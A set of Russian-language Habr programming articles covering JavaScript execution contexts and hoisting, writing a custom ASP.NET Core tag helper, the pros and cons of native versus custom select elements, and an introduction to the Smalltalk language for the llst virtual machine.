Движок выполняет функцию, контекст выполнения которой находится в верхней части стека. Когда работа функции завершается, её контекст извлекается из стека и управление передаётся тому контексту, который находится в предыдущем элементе стека.
Изучим эту идею с помощью следующего примера:
```
let a = 'Hello World!';
function first() {
console.log('Inside first function');
second();
console.log('Again inside first function');
}
function second() {
console.log('Inside second function');
}
first();
console.log('Inside Global Execution Context');
```
Вот как будет меняться стек вызовов при выполнении этого кода.
*Состояние стека вызовов*
Когда вышеприведённый код загружается в браузер, JavaScript-движок создаёт глобальный контекст выполнения и помещает его в текущий стек вызовов. При выполнении вызова функции `first()` движок создаёт для этой функции новый контекст и помещает его в верхнюю часть стека.
При вызове функции `second()` из функции `first()` для этой функции создаётся новый контекст выполнения и так же помещается в стек. После того, как функция `second()` завершает работу, её контекст извлекается из стека и управление передаётся контексту выполнения, находящемуся в стеке под ним, то есть, контексту функции `first()`.
Когда функция `first()` завершает работу, её контекст извлекается из стека и управление передаётся глобальному контексту. После того, как весь код оказывается выполненным, движок извлекает глобальный контекст выполнения из текущего стека.
О создании контекстов и о выполнении кода
-----------------------------------------
До сих пор мы говорили о том, как JS-движок управляет контекстами выполнения. Теперь поговорим о том, как контексты выполнения создаются, и о том, что с ними происходит после создания. В частности, речь идёт о стадии создания контекста выполнения и о стадии выполнения кода.
### ▍Стадия создания контекста выполнения
Перед выполнением JavaScript-кода создаётся контекст выполнения. В процессе его создания выполняются три действия:
1. Определяется значение `this` и осуществляется привязка `this` (this binding).
2. Создаётся компонент `LexicalEnvironment` (лексическое окружение).
3. Создаётся компонент `VariableEnvironment` (окружение переменных).
Концептуально контекст выполнения можно представить так:
```
ExecutionContext = {
ThisBinding = ,
LexicalEnvironment = { ... },
VariableEnvironment = { ... },
}
```
#### Привязка this
В глобальном контексте выполнения `this` содержит ссылку на глобальный объект (как уже было сказано, в браузере это объект `window`).
В контексте выполнения функции значение `this` зависит от того, как именно была вызвана функция. Если она вызвана в виде метода объекта, тогда значение `this` привязано к этому объекту. В других случаях `this` привязывается к глобальному объекту или устанавливается в `undefined` (в строгом режиме). Рассмотрим пример:
```
let foo = {
baz: function() {
console.log(this);
}
}
foo.baz(); // 'this' указывает на объект 'foo', так как функция 'baz' была вызвана
// как метод объекта 'foo'
let bar = foo.baz;
bar(); // 'this' указывает на глобальный объект window, так как при вызове функции
// ссылка на объект не используется
```
#### Лексическое окружение
В соответствии со [спецификацией](http://ecma-international.org/ecma-262/6.0/#sec-lexical-environments) ES6, лексическое окружение (Lexical Environment) — это термин, который используется для определения связи между идентификаторами и отдельными переменными и функциями на основе структуры лексической вложенности ECMAScript-кода. Лексическое окружение состоит из записи окружения (Environment Record) и ссылки на внешнее лексическое окружение, которая может принимать значение `null`.
Проще говоря, лексическое окружение — это структура, которая хранит сведения о соответствии идентификаторов и переменных. Под «идентификатором» здесь понимается имя переменной или функции, а под «переменной» — ссылка на конкретный объект (в том числе — на функцию) или примитивное значение.
В лексическом окружении имеется два компонента:
1. Запись окружения. Это место, где хранятся объявления переменных и функций.
2. Ссылка на внешнее окружение. Наличие такой ссылки говорит о том, что у лексического окружения есть доступ к родительскому лексическому окружению (области видимости).
Существует два типа лексических окружений:
1. Глобальное окружение (или глобальный контекст выполнения) — это лексическое окружение, у которого нет внешнего окружения. Ссылка глобального окружения на внешнее окружение представлена значением `null`. В глобальном окружении (в записи окружения) доступны встроенные сущности языка (такие, как `Object`, `Array`, и так далее), которые связаны с глобальным объектом, там же находятся и глобальные переменные, определённые пользователем. Значение `this` в этом окружении указывает на глобальный объект.
2. Окружение функции, в котором, в записи окружения, хранятся переменные, объявленные пользователем. Ссылка на внешнее окружение может указывать как на глобальный объект, так и на внешнюю по отношении к рассматриваемой функции функцию.
Существует два типа записей окружения:
1. Декларативная запись окружения, которая хранит переменные, функции и параметры.
2. Объектная запись окружения, которая используется для хранения сведений о переменных и функциях в глобальном контексте.
В результате, в глобальном окружении запись окружения представлена объектной записью окружения, а в окружении функции — декларативной записью окружения.
Обратите внимание на то, что в окружении функции декларативная запись окружения, кроме того, содержит объект `arguments`, который хранит соответствия между индексами и значениями аргументов, переданных функции, и сведения о количестве таких аргументов.
Лексическое окружение можно представить в виде следующего псевдокода:
```
GlobalExectionContext = {
LexicalEnvironment: {
EnvironmentRecord: {
Type: "Object",
// Данные о привязках для идентификаторов
}
outer:
}
}
FunctionExectionContext = {
LexicalEnvironment: {
EnvironmentRecord: {
Type: "Declarative",
// Данные о привязках для идентификаторов
}
outer: <Ссылка на глобальное окружение или на окружение внешней функции>
}
}
```
#### Окружение переменных
Окружение переменных (Variable Environment) — это тоже лексическое окружение, запись окружения которого хранит привязки, созданные посредством команд объявления переменных (`VariableStatement`) в текущем контексте выполнения.
Так как окружение переменных также является лексическим окружением, оно обладает всеми вышеописанными свойствами лексического окружения.
В ES6 существует одно различие между компонентами `LexicalEnvironment` и `VariableEnvironment`. Оно заключается в том, что первое используется для хранения объявлений функций и переменных, объявленных с помощью ключевых слов `let` и `const`, а второе — только для хранения привязок переменных, объявленных с использованием ключевого слова `var`.
Рассмотрим примеры, иллюстрирующие то, что мы только что обсудили:
```
let a = 20;
const b = 30;
var c;
function multiply(e, f) {
var g = 20;
return e * f * g;
}
c = multiply(20, 30);
```
Схематичное представление контекста выполнения для этого кода будет выглядеть так:
```
GlobalExectionContext = {
ThisBinding: ,
LexicalEnvironment: {
EnvironmentRecord: {
Type: "Object",
// Данные о привязках для идентификаторов
a: < uninitialized >,
b: < uninitialized >,
multiply: < func >
}
outer:
},
VariableEnvironment: {
EnvironmentRecord: {
Type: "Object",
// Данные о привязках для идентификаторов
c: undefined,
}
outer:
}
}
FunctionExectionContext = {
ThisBinding: ,
LexicalEnvironment: {
EnvironmentRecord: {
Type: "Declarative",
// Данные о привязках для идентификаторов
Arguments: {0: 20, 1: 30, length: 2},
},
outer:
},
VariableEnvironment: {
EnvironmentRecord: {
Type: "Declarative",
// Данные о привязках для идентификаторов
g: undefined
},
outer:
}
}
```
Как вы, вероятно, заметили, переменные и константы, объявленные с помощью ключевых слов `let` и `const`, не имеют связанных с ними значений, а переменным, объявленным с помощью ключевого слова `var`, назначено значение `undefined`.
Это так из-за того, что во время создания контекста в коде осуществляется поиск объявлений переменных и функций, при этом объявления функций целиком хранятся в окружении. Значения переменных, при использовании `var`, устанавливаются в `undefined`, а при использовании `let` или `const` остаются неинициализированными.
Именно поэтому можно получить доступ к переменным, объявленным с помощью `var`, до их объявления (хотя они и будут иметь значение `undefined`), но, при попытке доступа к переменным или константам, объявленным с помощью `let` и `const`, выполняемой до их объявления, возникает ошибка.
Только что мы только что описали, называется «поднятием переменных» (Hoisting). Объявления переменных «поднимаются» в верхнюю часть их лексической области видимости до выполнения операций присвоения им каких-либо значений.
### ▍Стадия выполнения кода
Это, пожалуй, самая простая часть данного материала. На этой стадии выполняется присвоение значений переменным и осуществляется выполнение кода.
Обратите внимание на то, что если в процессе выполнения кода JS-движок не сможет найти в месте объявления значение переменной, объявленной с помощью ключевого слова `let`, он присвоит этой переменной значение `undefined`.
Итоги
-----
Только что мы обсудили внутренние механизмы выполнения JavaScript-кода. Хотя для того, чтобы быть очень хорошим JS-разработчиком, знать всё это и не обязательно, если у вас имеется некоторое понимание вышеописанных концепций, это поможет вам лучше и глубже разобраться с другими механизмами языка, с такими, как поднятие переменных, области видимости, замыкания.
**Уважаемые читатели!** Как вы думаете, о чём ещё, помимо контекста выполнения и стека вызовов, полезно знать JavaScript-разработчикам?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/422089/ | null | ru | null |
# Готовим ASP.NET Core: создаем собственный Tag Helper
> *Мы продолжаем нашу колонку по теме ASP.NET Core публикацией от Станислава Ушакова ( [JustStas](https://habrahabr.ru/users/juststas/)) — team lead из компании DataArt. В статье Стас рассказывает о способах создания своих собственных тег-хелперов в ASP.NET Core. Предыдущие статьи из колонки всегда можно прочитать по ссылке [#aspnetcolumn](http://habrahabr.ru/search/?q=%5B%23aspnetcolumn%5D&target_type=posts) — Владимир Юнев*
В [прошлый раз](https://habrahabr.ru/post/276277/) мы рассмотрели уже существующие в ASP.NET Core 1.0 тег-хэлперы. В этот раз мы рассмотрим создание собственных тег-хэлперов, что может упростить генерацию небольших переиспользуемых участков HTML-разметки.
### Введение
Формально тег-хэлпером является любой класс, наследующий от интерфейса **ITagHelper**.На практике напрямую от **ITagHelper** наследовать не надо, удобнее наследовать от класса **TagHelper**, переопределяя метод Process / ProcessAsync, которые рассмотрим по ходу статьи.
> [](https://github.com/StanislavUshakov/CustomTagHelpers)**Совет!** Вы можете попробовать все самостоятельно или загрузив исходный код из GitHub <https://github.com/StanislavUshakov/CustomTagHelpers>.
### Инфраструктура
Мы будем использовать Visual Studio 2015 Community Edition. Создадим новый ASP.NET 5 сайт (рисунок 1).
Чтобы не начинать с полностью пустого проекта, выберем шаблон“WebApplication” (рисунок 2), но удалим аутентификацию: “Change Authentication”, далее выбрать “No authentication”.
В результате получим проект с уже подключенным MVC, одним контроллером и тремя действиями: Index, About, Contact. Добавим новую папку в проект, назовем ее **TagHelpers**: необязательно называть ее именно так, но можно сказать, что это договоренность, и лучше ее соблюдать – все собственноручно написанные тег-хэлперы класть в эту папку. Получим следующую структуру проекта (рисунок 3).
### EmailTagHelper
В коде представления **Contact.cshtml** можно увидеть следующую разметку, содержащую адреса электронной почты.
```
**Support:**[Support@example.com](mailto:Support@example.com)
**Marketing:**[Marketing@example.com](mailto:Marketing@example.com)
```
Создадим тег-хэлпер **email**, который будем использовать следующим образом:
```
Support
```
Генерируя следующую HTML разметку:
```
[Support@example.com](mailto:Support@example.com )
```
Такой тег-хэлпер пригодится, если надо генерировать много ссылок на адреса электронной почты одного домена. Добавим новый файл в папку **TagHelpers**, назовем его **EmailTagHelper.cs**.
```
usingMicrosoft.AspNet.Razor.TagHelpers;
namespaceCustomTagHelpersAndViewComponents.TagHelpers
{
public class EmailTagHelper : TagHelper
{
public string MailTo { get; set; }
public override void Process(TagHelperContext context, TagHelperOutput output)
{
output.TagName = "a"; // заменим тег на тег }
}
}
```
Уже на примере этого самого простого тег-хэлпера можно увидеть следующее:
* Тег-хэлперы придерживаются следующего правила именования по умолчанию: тег, используемый в cshtml представлениях, равен имени класса тег-хэлпера минус *TagHelper*. В нашем случае используем тег **email**. Дальше будет показано, как можно переопределить это поведение по умолчанию. Можно было бы назвать наш тег-хэлпер и просто **Email**, механизм работы остался бы тот же, но по правилу именования постфикс **TagHelper** требуется добавлять.
* Переопределяя метод *Process*, мы указываем какой код будет выполняться нашим тег-хэлпером. Также класс **TagHelper** определяет метод *ProcessAsync* с такими же параметрами.
* Параметр *context* содержит информацию о контексте выполнения текущего HTML тега.
* Парметр *output* хранит данные об оригинальном HTML элементе, который был использован в представлении, и его содержимом.
Для того, чтобы использовать созданный нами тег-хэлпер, добавим в файл **Views/\_ViewImports.cshtml** директиву для его подключения.
```
@using CustomTagHelpersAndViewComponents
@addTagHelper "*, Microsoft.AspNet.Mvc.TagHelpers"
@addTagHelper "*, CustomTagHelpersAndViewComponents"
```
Мы используем подстановочный символ, чтобы добавить в область видимости сразу все тег-хэлперы из сборки. Первый аргумент директивы **@addTagHelper** — это имя тег-хэлпера (или звездочка), второй – сборка, в которой они ищутся. Если мы хотим добавить один тег-хэлпер, а не все сразу, то надо указать его полное имя (FQN – fully qualified name):
```
@using CustomTagHelpersAndViewComponents
@addTagHelper "*, Microsoft.AspNet.Mvc.TagHelpers"
@addTagHelper "CustomTagHelpersAndViewComponents.TagHelpers.EmailTagHelper, CustomTagHelpersAndViewComponents"
```
Теперь обновим код представления **Views/Home/Contact.cshtml**, переписав ссылки на электронную почту:
```
**Support:**Support
**Marketing:**Marketing
```
Visual Studio 2015 замечательно подсвечивает тег-хэлперы, наш вновь созданный – не исключение:
Откроем сайт в браузере и увидим, что тег **email** заменился на тег **a**, самое время добавить необходимую логику для генерации правильной ссылки на электронную почту. Необходимую информацию будем передавать с помощью атрибута *email-to*, домен электронной почты будет задан константой в тег-хэлпере.
```
using Microsoft.AspNet.Razor.TagHelpers;
namespace CustomTagHelpersAndViewComponents.TagHelpers
{
public class EmailTagHelper : TagHelper
{
private const string EmailDomain = "example.com";
public string MailTo { get; set; }
public override void Process(TagHelperContext context, TagHelperOutput output)
{
output.TagName = "a";
string address = MailTo + "@" + EmailDomain;
output.Attributes["href"] = "mailto:" + address;
output.Content.SetContent(address);
}
}
}
```
Отметим интересные моменты этого кода. Первый момент: свойство *MailTo* из PascalCase в C# коде станет [low-kebab-case](http://stackoverflow.com/questions/11273282/whats-the-name-for-hyphen-separated-case/12273101#12273101) в коде представления: *email-to*, как это и принято сейчас во фронт-енде. Последняя строка метода устанавливает содержимое созданного тега. Наряду с таким синтаксисом добавления атрибутов *output.Attributes[«href»] = «mailto:» + address;* можно использовать метод *output.Attributes.Add*.
Теперь обновим представление **Views/Home/Contact.cshtml**:
```
**Support:**
**Marketing:**
```
В результате будет сгенерирована следующая HTML разметка:
```
**Support:** [Support@example.com](mailto:Support@example.com)
**Marketing:** [Marketing@example.com](mailto:Marketing@example.com)
``` | https://habr.com/ru/post/278251/ | null | ru | null |
# Блеск и нищета стандартных селектов
[](http://habrahabr.ru/company/htmlacademy/blog/257743/)**Примечание переводчика**: *Мы продолжаем публиковать материалы, которые будут полезны веб-разработчикам, дизайнерам и верстальщикам. В прошлых топиках мы рассмотрели [принципы создания анимаций](http://habrahabr.ru/company/htmlacademy/blog/255583/) в вебе и использование [формата SVG](http://habrahabr.ru/company/htmlacademy/blog/257039/). Сегодня речь пойдёт об элементе `select` или просто о «селекте».*
В этой статье мы внимательно взглянем на тег и рассмотрим некоторые тонкости и подводные камни, о которых нужно знать, если вы решили использовать нестандартные раскрывающиеся списки, отличающиеся внешним видом и функциональностью от встроенных в браузер. Спойлер: лучше так не делать.
Понять дизайнеров
-----------------
Нетрудно понять дизайнеров, которые стремятся создать для своих клиентов уникальный продукт, каждая деталь которого будет индивидуальна. Это отношение свидетельствует о любви к своей работе и желании гордиться тем, что ты делаешь. Если ты позволяешь кому-то (например, браузеру) делать за тебя часть твоей работы и определять, как что-то будет выглядеть, то получается, что ты и не работал. То же самое касается использования элементов Bootstrap. Так делают только лентяи и непрофессионалы, не так ли?
В чём разница
-------------
Предположим, вы создаёте раскрывающийся список с помощью HTML. Без применения стилей он будет выглядеть так:
Не самая красивая вещь в мире, но своё дело она делает. Давайте взглянем на этот элемент повнимательнее и рассмотрим то, как он выглядит в разных браузерах на операционных системах OS X Yosemite и Windows 8:
| OS | Browser | Closed | Open |
| --- | --- | --- | --- |
| Windows 8 | IE10 | Closed select box windows 8 ie10 | Open select box windows 8 ie10 |
| Windows 8 | Chrome | Closed select box windows 8 google chrome | Open select box windows 8 google chrome |
| Windows 8 | Opera | Closed select box windows 8 opera | Open select box windows 8 opera |
| Windows 8 | Firefox | Closed select box windows 8 firefox | Open select box windows 8 firefox |
| OSX Yosemite | Safari | Closed select box mac osx yosemite safari | Open select box mac osx yosemite safari |
| OSX Yosemite | Firefox | Closed select box mac osx yosemite firefox | Open select box mac osx yosemite firefox |
| OSX Yosemite | Chrome | Closed select box mac osx yosemite google chrome | Open select box mac osx yosemite google chrome |
| OSX Yosemite | Opera | Closed select box mac osx opera | Open select box mac osx yosemite opera |
Наведём резкость
----------------
Отличий между селектами в рамках одной ОС практически нет, так как браузеры используют системные элементы управления, а также настройки отображения из ОС.
Пример: посмотрите как браузеры на OS X Yosemite «рендерят» раскрывающиеся списки. Если пользователь выберет в качестве темы оформления Blue, то у селектов блок со стрелочками справа будет голубым. А если будет выбрана тема Graphite, блок со стрелочками будет серым:
Тот факт, что все селекты, чекбоксы и радиокнопки, не только в браузере, но и во всей ОС выполнены в одном стиле, помогает пользователям лучше понимать функциональность разных элементов, появляющихся на сайте.
Различия селектов в двух рассмотренных выше ОС на первый взгляд не особенно велики, но с точки зрения UX — весьма заметны. Ключевой момент — **на Windows в окне выбора стрелка всегда смотрит вниз**, а **на OS X представлены две стрелки вверх и вниз**. Подход Apple в этом случае предпочтительнее — если пользователь выбрал какой-то элемент в середине списка, а затем решил выбрать другой, то при клике на селект в OS X ему покажут выбранный элемент посередине, а соседние варианты выше и ниже него. В Windows же селекты всегда выглядит как «выпадающий» список. Но его главная задача — не «выпадать», а «раскрываться» и позволять удобно выбирать варианты.
Почему нативные селекты превосходны
-----------------------------------
Элемент — это «трудный ребёнок» HTML. Причина этого — в отношении к нему браузера. Когда пользователь кликает на селект, **браузер начинает вести себя не как обычно, чтобы отобразить варианты для выбора**. Если на сайте есть селект, который расположен в самом низу, у нижнего края браузера, то при щелчке на такой селект браузер присваивает ему `z-index`, который может накладываться на все другие `z-index`, и даже может отрисовать список вариантов за границами окна. Посмотрите на скриншот ниже:
Если бы селект из примера был не стандартным браузерным, а кастомным, то он бы попросту не сработал. Точнее, вы бы не увидели список вариантов — он бы просто обрезался границей окна браузера. Было бы даже непонятно, нажалась кнопка или нет.
Ещё одна интересная тема — как селекты ведут себя в тач-устройствах и ОС. Взглянем на пару скриншотов:
Кастомизация должна быть гибридной
----------------------------------
Фронтенд-разработчики должны по мере возможности общаться с дизайнерами по поводу предлагаемых решений, и в таких беседах следует обращать внимание коллег на следующие моменты:
* Никогда не соглашайтесь на полную кастомизацию. Браузеры особым, трепетным, образом обрабатывают элементы — старайтесь всегда сохранять это поведение. Поэтому для создания нестандартного поля выбора нужно использовать тег . Нужно донести до дизайнера все минусы полной кастомизации, под которой подразумевается отказ от и создание чего-то [типа этого](http://jqueryui.com/selectmenu/).
* Когда вы убедили дизайнера использовать , следует перейти к объяснению того факта, что контролировать внешний вид выпадающего списка вариантов вы не можете. Это дело браузера. Точка. Контролировать можно только вид кнопки для открытия списка.
* На следующем шаге нужно решить, используете ли вы стандартный селект или всё-таки кастомизируете кнопку для открытия списка. И если кастомизируете кнопку, то в каком стиле — с одной стрелкой, как в Windows, или с двумя в стиле Apple? Применение второго варианта приведёт к путанице для пользователей Windows, которые привыкли к «однострелочному» варианту. Детектирование браузера — отдельная тема. С точки зрения UX куда более мудрым решением будет использование стандартной «нестилизованной» версии селекта — она будет адаптироваться к любым ОС и браузерам, а у пользователей не возникнет никаких трудностей.
Гибридная техника
-----------------
Гибридная техника заключается в использовании контейнера-обёртки для элемента . Назовём этот контейнер `.selectContainer`. Он должен иметь `overflow-x: hidden;`, а у элемента внутри контейнера должна быть ширина около 160%, чтобы скрыть «дефолтные» стрелки браузера или ОС. Контейнер используется, чтобы создать для пользователя иллюзию взаимодействия с обычным . В примере ниже в псевдоэлементе `::after` контейнера `.selectContainer` стоит просто текст «icon», но его можно было бы заменить фоновым изображением (по клику на картинку откроется редактирование в «песочнице» на Codepen):
[](http://codepen.io/eplehans/pen/MYwgWo)
Заключение
----------
Главная мысль статьи — обязательно обсуждайте с дизайнером нестандартные селекты, и лучше это делать до того, как дизайн уйдёт «в продакшн». Важно понимать плюсы и минусы «нативных» и кастомизированных селектов, а также то, как с каждым из них взаимодействует браузер.
Чтобы решить, использовать ли стандартные или кастомные селекты, нужно задать себе (или дизайнеру) вопрос:
«Будет ли включать большое количество опций? Что может пойти не так? Будут ли все варианты видны в открытом списке вариантов?» Если ответ «нет», то следует использовать стандартную нестилизованную или элегантную гибридную версию. Если ответ положительный, то стоит назвать ваш элемент «блоком с выпадающими вариантами» и оформить его так, чтобы не было даже намёка на сходство со стандартными селектами и их поведением.
Если при создании раскрывающихся списков не использовать элемент , то страдает семантика и уровень доступности интерфейса для пользователей. Изменение внешнего вида элементов форм нежелательно для людей со слабым зрением. Отказ от также усложняет чтение с экрана. Этот элемент похож на дорожный знак — если автолюбитель на машине пересечёт границу, и в новой стране знак «уступи дорогу» будет выглядеть совсем по-другому — это его явно смутит и может привести к ошибкам в вождении. Не нужно помогать людям ошибаться. Пользователям нужен консистентный внешний вид всех приложений, с которыми они работают. Для них попасть на новый сайт — это как поехать в чужую страну.
Поэтому, прежде чем начать разрабатывать кастомизированные селекты, следует подумать дважды. | https://habr.com/ru/post/257743/ | null | ru | null |
# Внутреннее устройство llst, часть 1. Введение в Smalltalk
Доброго времени суток. Предлагаю вашему вниманию вторую статью из цикла о Low Level Smalltalk (LLST). Кто не в курсе о чем идет речь, тем рекомендую прочитать предыдущую, [обзорную статью](http://habrahabr.ru/post/164153/), где рассказывается о том, что такое llst и зачем он был создан.
В этой части мы сконцентрируемся на самом языке Smalltalk, его синтаксисе и «правилах игры».
В последующих частях мы плавно перейдем к особенностям реализации виртуальной машины и внутреннему представлению объектов в памяти. Затронем вопросы организации менеджера памяти и сборщика мусора. Поговорим мы и о байткодах виртуальной машины. Узнаем, как текст метода Smalltalk превращается в последовательность команд. Наконец, мы проследим путь от загрузки образа в память машины до процессов, происходящих при посылке сообщений между объектами, а так же узнаем как реализуются замыкания в блоках.
#### Введение
Языки программирования бывают разные. Некоторые имеют довольно низкий порог вхождения. Иные же, отпугивают потенциального адепта еще на дальних подступах, ужасая его причудливостью и чуждостью синтаксиса, чрезмерной многословностью повествования, либо сложностью концепций. Есть языки, которые требуют от программиста буквально вывернуть мозг наизнанку, чтобы научиться думать так, как нужно для успешного программирования на таком языке. Некоторые языки только выглядят простыми, реально же требуя от кандидата неслабого багажа знаний из области математики, лямбда исчисления и теории категорий…
Так вот, Smalltalk — простой язык. Простой язык не только в плане синтаксиса, но и в плане понимания его неподготовленным человеком. Неудивительно, что изначально автор позиционировал Smalltalk как язык для обучения детей программированию. Не срослось, к сожалению. Дети предпочитают PHP и бейсик (или что там нынче модно?). Ну да не будем об этом.
Как известно, любую теорию необходимо подтверждать практикой, поэтому, в подтверждение вышеозначенного тезиса, сейчас мы пробежимся по ключевым понятиям языка и по окончании введения сможем уверено читать исходники программы.
#### Мир объектов
Забудьте о Java, забудьте о C++. ~~Забудьте все, чему вас учили.~~
Фраза «в языке X все есть объект» настолько изъезженная, что я не хотел ее применять здесь. Тем не менее, сложно описать всю глубину этой мысли в отношении Smalltalk-а, не прибегая к подобным штампам.
Действительно, в Smalltalk все — объекты. Строки, числа (впрочем тут есть одно полезное исключение), массивы — это понятно. Но у каждого объекта есть свой класс. Который (сюрприз!) тоже является объектом. И да, у него тоже есть свой класс, который тоже является объектом, и т.д. Методы класса — это тоже объекты. Байткоды методов — ну вы поняли. Даже кусочки кода, представленные в языке т.н. блоками, тоже являются объектами, с каждым из которых можно дружески побеседовать, и он расскажет вам все, что знает.
В описании базового образа LittleSmalltalk есть такое [чудесное психоделическое место](https://github.com/0x7CFE/llst/blob/4ca757b767ff29a7866f64d4dcc194e40c72a482/image/imageSource.st#L52):
```
name subclassOf instanceOf
Object MetaObject nil
Class MetaClass Object
MetaObject Class Class
MetaClass Class MetaObject
```
Оно говорит нам о том, что:
* класс Object является подклассом MetaObject и инстанцией nil (из небытия явились объекты)
* класс Class является подклассом MetaClass и инстанцией Object (все классы — это тоже объекты)
* класс MetaObject является подклассом Class и его же инстанцией (э…)
* класс MetaClass является подклассом Class инстанцией класса MetaObject (метаклассы — это тоже классы)
* Примечание знатокам: В Little Smalltalk нет класса Behavior.
Взрыв мозга? Ага. Но это единственное место во всей иерархии классов, которое выглядит противоречивым. Оно и есть противоречивое. Но ценой этого маленького маразма достигаются большие возможности.
Это место я привел не для того, чтобы испугать читателя, а чтобы продемонстрировать, что классы и объекты в Smalltalk, подобно даосскому символу «Инь и Ян» представляют собой взаимопроникающие сущности.
Возвращаясь к вопросу о простоте я отмечу, что противоречивость эта, нисколько не мешает программированию, и в 99% случаев программист о ней вообще не думает (или не знает). В оставшемся проценте случаев, она позволяет делать вещи, существенно упрощающие программирование и чтение текстов программ на этом языке.
#### Образ
Подобно настоящим живым существам, объекты рождаются и умирают. Живут они в *образе* — области памяти компьютера, в которой хранятся объекты виртуальной машины. Этот образ может быть сохранен на диск и загружен впоследствии. Загрузившись с диска, мы получим ровно то же представление, что было на момент записи. Это относится ко всем без исключения объектам, от чисел и строк до элементов пользовательского интерфейса. Предпринимать каких-то специальных мер по сохранению состояния системы не требуется — образ это обеспечивает. В этом смысле, пользовательские интерфейсы программ написанных на языке Smalltalk, я думаю, понравились бы [Джефу Раскину](http://ru.wikipedia.org/wiki/%D0%94%D0%B6%D0%B5%D1%84_%D0%A0%D0%B0%D1%81%D0%BA%D0%B8%D0%BD) в плане своей персистентности.
К примеру: пользователь закрыл текстовый редактор, а затем вернулся к нему спустя некоторое время. Загрузившись из образа он обнаружит, что получил в свое распоряжение систему ровно в том состоянии, в котором он ее оставил. Положение курсора, выделенные области текста, содержимое буфера обмена восстановится в первоначальном виде. Это в корне отличается от модели запуска обычных программ. Данная концепция находит свое продолжение и в современных окружениях рабочего стола, однако, с мой точки зрения, это бледное подобие того, что могло бы быть.
#### Понятие сообщения
Программирование на языке Smalltalk целиком и полностью сводится к общению с объектами, находящимися в образе. Традиционного редактирования простыни исходных кодов здесь нет. Вернее, оно с успехом заменяется работой во встроенной IDE. Но в основе по прежнему лежит взаимодействие одних объектов с другими.
Например, чтобы создать новый класс, мы *посылаем сообщение* его предку, прося создать наследника. Чтобы создать новый метод, мы просим класс создать метод, а затем наполняем его смыслом. Фактически, мы порождаем объект метода, а затем добавляем его в список методов класса. Никаких закулисных интриг, операций в нативном коде и прочих договоренностей тут нет. Все исключительно в рамках протокола.
Так вот, *посылка сообщения* — это единственная операция языка, которая позволяет взаимодействовать объектам друг с другом (и даже самим с собой). Более того, это фактически единственная сложная операция, которую умеет делать виртуальная машина. Все остальные инструкции используются для обеспечения главной задачи.
Впрочем, проще всего это увидеть на примерах (как запускать можно узнать в [первой статье](http://habrahabr.ru/post/164153/)):
```
->2 + 3
5
```
Здесь мы взяли объект `2` и отправили ему сообщение `+` с параметром `3`. Результатом сообщения является объект суммы, который был возвращен наружу и отображен командной оболочкой. Это пример *бинарного сообщения*, в котором задействованы два объекта.
А вот пример *унарного сообщения*. Давайте спросим у объекта `2`, какой класс ему соответствует. Это делается посылкой сообщения `class`:
```
->2 class
SmallInt
```
Отлично. Двойка оказалась объектом класса `SmallInt`.
А что еще умеют экземпляры класса `SmallInt`? Давайте спросим:
```
->SmallInt listMethods
*
+
-
/
<
=
asInteger
asSmallInt
bitAnd:
bitOr:
bitShift:
hash
quo:
rem:
truncSmallInt
SmallInt
```
Ага. Известный нам оператор + и еще кучка арифметических действий. Чтобы получить эту информацию, мы послали сообщение `listMethods` классу `SmallInt`. Это стало возможным потому что класс `SmallInt` тоже является объектом, которому тоже можно посылать сообщения. А все благодаря вышеописанной «психоделической» хитрости с наследованием. Важно отметить, что посылка сообщений классам и объектам реализуется одним и тем же образом, то есть это один и тот же механизм (без костылей). Классы и объекты действительно сосуществуют рядом и нисколько не мешаются друг другу.
#### Какие вообще бывают объекты?
Бывают: обычные объекты (являющиеся инстанцией некоторого класса), собственно классы, метаклассы. Метаклассы это такие объекты, что обычные классы являются их инстанциями. Заковыристо, но поначалу можно на это не обращать никакого внимания.
А еще есть **true**, **false** и **nil**. Первые два являются единственными инстанциями классов `True` и `False` соответственно. То есть, во всем образе есть только один объект **true**. Все места, где предполагается возврат или хранение булевого значения, явно или неявно используют эти объекты.
Теперь поговорим о **nil**. Как вы уже могли догадаться, этот объект представляет собой пустое, не инициализированное (или ошибочное) значение. Вот только, в отличие от нулевого указателя C++ и `null` из мира Java, **nil** является полноценным объектом.
Давайте проверим:
```
-> 1 isNil
false
-> nil isNil
true
-> nil class
Undefined
```
Как мы видим, посылка сообщений этому объекту ничем не отличается от других, что, как мне кажется, очень удобно.
#### Символы
Еще одним важным видом объектов являются *символы*. Символ в Smalltalk это объект, похожий по своим свойствам на строку, но, подобно **nil**, **true** и **false**, присутствующий в образе в единственном экземпляре.
Вот так ведут себя обычные строки:
```
->'hello' = 'hello'
true
->'hello' == 'hello'
false
-> 'hello' + 'World' = 'helloWorld'
true
-> 'hello' + 'World' == 'helloWorld'
false
```
Здесь оператор `=` используется для формального сравнения *значений* двух строк, тогда как оператор `==` проверяет объекты на *идентичность*. Оператор `==` вернет **true** только в том случае, если объект и переданный параметр — это один и тот же объект. В вышеописанном случае это не так, так как проверяются на идентичность две инстанции класса `String`, которые создаются одна за другой, но не являются одним и тем же объектом.
А вот что произойдет в случае с символами:
```
-> #helloWorld = #helloWorld
true
-> #helloWorld == #helloWorld
true
-> ('hello' + 'World') asSymbol == #helloWorld
true
```
Smalltalk контролирует создание символов и гарантирует, что они не потеряют своей уникальности. Символы как правило применяются в роли различных идентификаторов, ключей в коллекциях, а так же как селекторы методов (см. ниже).
#### Каскадирование сообщений
До сих пор мы оперировали с единственным объектом, отправляя ему сообщения и наблюдая результат. Но ведь результат это тоже объект. Значит и ему можно послать сообщение.
Пробуем:
```
-> Array parent
Collection
-> Object parent
nil
-> Array parent isNil
false
-> Object parent isNil
true
```
В этом примере мы сначала выводим предков классов Array и Object, а затем посылаем результату сообщение isNil, для проверки на наличие значения. Класс Object является вершиной иерархии обычных классов, поэтому в ответ на сообщение parent он возвращает **nil**. Как мы видим, для объединения нескольких сообщений достаточно записать их через пробел. И такие очереди могут быть любой длины:
```
-> 12
12
-> 12 class
SmallInt
-> 12 class methods
Dictionary (* -> Method, + -> Method, - -> Method, / -> Method, < -> Method, = -> Method, asInteger -> Method, asSmallInt -> Method, bitAnd: -> Method, bitOr: -> Method, bitShift: -> Method, hash -> Method, quo: -> Method, rem: -> Method, truncSmallInt -> Method)
-> 12 class methods keys
OrderedArray (* + - / < = asInteger asSmallInt bitAnd: bitOr: bitShift: hash quo: rem: truncSmallInt)
-> 12 class methods keys size
15
```
